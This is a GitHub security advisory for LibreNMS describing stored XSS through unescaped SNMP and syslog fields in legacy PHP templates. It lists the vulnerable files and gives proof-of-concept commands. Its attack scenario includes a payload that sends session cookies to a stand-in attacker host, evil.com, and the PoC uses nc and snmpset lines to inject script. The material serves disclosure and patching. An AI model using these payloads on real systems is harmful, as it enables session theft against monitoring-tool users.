GHSA-7W8C-QGXG-M7JX
Vulnerability from github – Published: 2026-08-26 18:05 – Updated: 2026-08-26 18:05Summary
Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.
Vulnerable Code
Location 1: Syslog program field (clearest instance)
File: includes/html/print-syslog.inc.php:11,13
$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';
The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.
Location 2: Alert details ifAlias (highest impact — main alerts page)
File: includes/html/functions.inc.php:607
$fault_detail .= $tmp_alerts['ifAlias'] . '; ';
The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).
Location 3: Health pages — mempool_descr, storage_descr, sensor_descr
File: includes/html/pages/device/health/mempool.inc.php:38
echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";
File: includes/html/pages/device/health/storage.inc.php:27
echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";
File: includes/html/pages/device/health/sensors.inc.php:29
echo "<h3 class='panel-title'>$sensor_descr ...";
All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.
Location 4: Pseudowires ifAlias
File: includes/html/pages/pseudowires.inc.php:76
echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';
Location 5: VRF page ifAlias
File: includes/html/pages/routing/vrf.inc.php:165
echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';
Data Flow
Attacker-controlled SNMP device/syslog source
→ SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
→ OR syslog receiver stores program field in syslog table
→ Authenticated user views alerts/health/syslog page
→ Legacy PHP template echoes raw value into HTML
→ XSS executes in victim's browser session
Attack Scenario
- Attacker compromises or controls a network device monitored by LibreNMS
- Attacker configures the device's SNMP interface description (ifAlias) to:
<img src=x onerror="fetch('https://evil.com/'+document.cookie)"> - LibreNMS polls the device via SNMP and stores the malicious ifAlias in the
portstable - When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
- Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page
PoC
Syslog vector (simplest)
# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514
SNMP vector
# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle
Contrast with Properly Escaped Code
Newer Blade templates and some legacy code properly escape SNMP data:
- includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware
- app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias
- app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message
- All Blade templates use {{ }} auto-escaping
The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T18:05:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nMultiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.\n\n## Vulnerable Code\n\n### Location 1: Syslog `program` field (clearest instance)\n\n**File:** `includes/html/print-syslog.inc.php:11,13`\n\n```php\n$syslog_output .= \u0027\u003ctd\u003e\u003cstrong\u003e\u0027 . $entry[\u0027program\u0027] . \u0027 : \u003c/strong\u003e \u0027 . htmlspecialchars((string) $entry[\u0027msg\u0027]) . \u0027\u003c/td\u003e\u0027;\n```\n\nThe `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices.\n\n### Location 2: Alert details `ifAlias` (highest impact \u2014 main alerts page)\n\n**File:** `includes/html/functions.inc.php:607`\n\n```php\n$fault_detail .= $tmp_alerts[\u0027ifAlias\u0027] . \u0027; \u0027;\n```\n\nThe `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709).\n\n### Location 3: Health pages \u2014 `mempool_descr`, `storage_descr`, `sensor_descr`\n\n**File:** `includes/html/pages/device/health/mempool.inc.php:38`\n```php\necho \"\u003ch3 class=\u0027panel-title\u0027\u003e{$mempool-\u003emempool_descr} ...\";\n```\n\n**File:** `includes/html/pages/device/health/storage.inc.php:27`\n```php\necho \"\u003ch3 class=\u0027panel-title\u0027\u003e{$drive[\u0027storage_descr\u0027]} ...\";\n```\n\n**File:** `includes/html/pages/device/health/sensors.inc.php:29`\n```php\necho \"\u003ch3 class=\u0027panel-title\u0027\u003e$sensor_descr ...\";\n```\n\nAll three health page templates output SNMP-polled descriptions directly into `\u003ch3\u003e` tags without escaping.\n\n### Location 4: Pseudowires `ifAlias`\n\n**File:** `includes/html/pages/pseudowires.inc.php:76`\n```php\necho \"\u003ctr ...\u003e\u003ctd colspan=2\u003e\" . $pw_a[\u0027ifAlias\u0027] . \u0027\u003c/td\u003e\u003ctd colspan=2\u003e\u0027 . $pw_b[\u0027ifAlias\u0027] . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n```\n\n### Location 5: VRF page `ifAlias`\n\n**File:** `includes/html/pages/routing/vrf.inc.php:165`\n```php\necho \"\u003cdiv style=\u0027font-size: 9px;\u0027\u003e\" . substr((string) short_port_descr($port[\u0027ifAlias\u0027]), 0, 22) . \u0027\u003c/div\u003e\u0027;\n```\n\n## Data Flow\n\n```\nAttacker-controlled SNMP device/syslog source\n \u2192 SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)\n \u2192 OR syslog receiver stores program field in syslog table\n \u2192 Authenticated user views alerts/health/syslog page\n \u2192 Legacy PHP template echoes raw value into HTML\n \u2192 XSS executes in victim\u0027s browser session\n```\n\n## Attack Scenario\n\n1. Attacker compromises or controls a network device monitored by LibreNMS\n2. Attacker configures the device\u0027s SNMP interface description (ifAlias) to: `\u003cimg src=x onerror=\"fetch(\u0027https://evil.com/\u0027+document.cookie)\"\u003e`\n3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table\n4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page\n5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page\n\n## PoC\n\n### Syslog vector (simplest)\n```bash\n# Send syslog message with XSS in program field\n# Assuming LibreNMS syslog receiver is at 10.0.0.1:514\necho \u0027\u003c14\u003eMar 20 12:00:00 rogue-device \u003cimg/src=x onerror=alert(document.domain)\u003e: test message\u0027 | nc -u 10.0.0.1 514\n```\n\n### SNMP vector\n```bash\n# On attacker-controlled SNMP device, set interface description:\n# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s \u0027\u003cimg src=x onerror=alert(document.cookie)\u003e\u0027\n# LibreNMS will poll this during next discovery/polling cycle\n```\n\n## Contrast with Properly Escaped Code\n\nNewer Blade templates and some legacy code properly escape SNMP data:\n- `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware\n- `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias\n- `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message\n- All Blade templates use `{{ }}` auto-escaping\n\nThe vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.",
"id": "GHSA-7w8c-qgxg-m7jx",
"modified": "2026-08-26T18:05:46Z",
"published": "2026-08-26T18:05:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-7w8c-qgxg-m7jx"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/pull/19660"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/commit/6782af940c3c495755923b520a302f3a1cb1ce6b"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/releases/tag/26.5.0"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/releases/tag/26.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "LibreNMS \u2014 Stored XSS via SNMP/Syslog Data in Legacy Templates"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.